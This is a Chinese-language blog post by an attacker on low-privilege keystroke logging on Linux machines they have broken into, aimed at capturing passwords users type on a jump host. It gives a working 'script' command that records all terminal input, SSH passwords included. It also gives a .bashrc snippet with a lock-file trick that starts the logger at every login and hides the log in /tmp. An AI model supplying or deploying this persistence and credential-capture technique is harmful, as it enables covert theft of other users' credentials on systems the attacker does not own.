低权 Linux 键盘记录方案

websec80 / 2025-02-21 / 原文

前言

日了几台机器,虽说部分机器有ROOT,可以直接用之前的 一般路过PAM后门 / SSH密码记录 39,来替换PAM,用于记录密码。

然而问题是,这货上了LDAP,还自己改了改他们的PAM,所以直接替换PAM的方案行不通了。

而且有一个跳板机,我们没有低权限,但是当前用户却会用这台机器连接其他目标,使用的都是一些我们没找到的凭据。

那么有没有什么办法能搞到他们呢?

最开始预想的是用go,自己写一个,直接起个pty直接io.copy用户输入和bash,然后我们监听目标输入就行。

之后在群里大佬的提拔下。知道了还有script这个好东西。

直接一句
exec script -B /tmp -aqf
就行
photo_2021-12-14_21-37-37.jpg
经过测试,SSH输入的密码也能记录。简直就是linux自带后门

然后就是用户登录自动记录的问题了。一开始直接把这个放到.bashrc/.zshrc下的最后一行,发现并不能work。
了解了下才发现,这个语句会加载bashrc的脚本造成这行代码的递归调用。
说到底就是加载.bashrc,bashrc运行script,script加载bashrc,bashrc加载script这样循环....

解决方案也很简单。直接在最后一行换成

 
if [ -f /tmp/script.lock ];then
        rm -rf /tmp/script.lock
else
        echo lock > /tmp/script.lock
        exec script  /tmp/.IEC-unix -aqf
fi

这样就成啦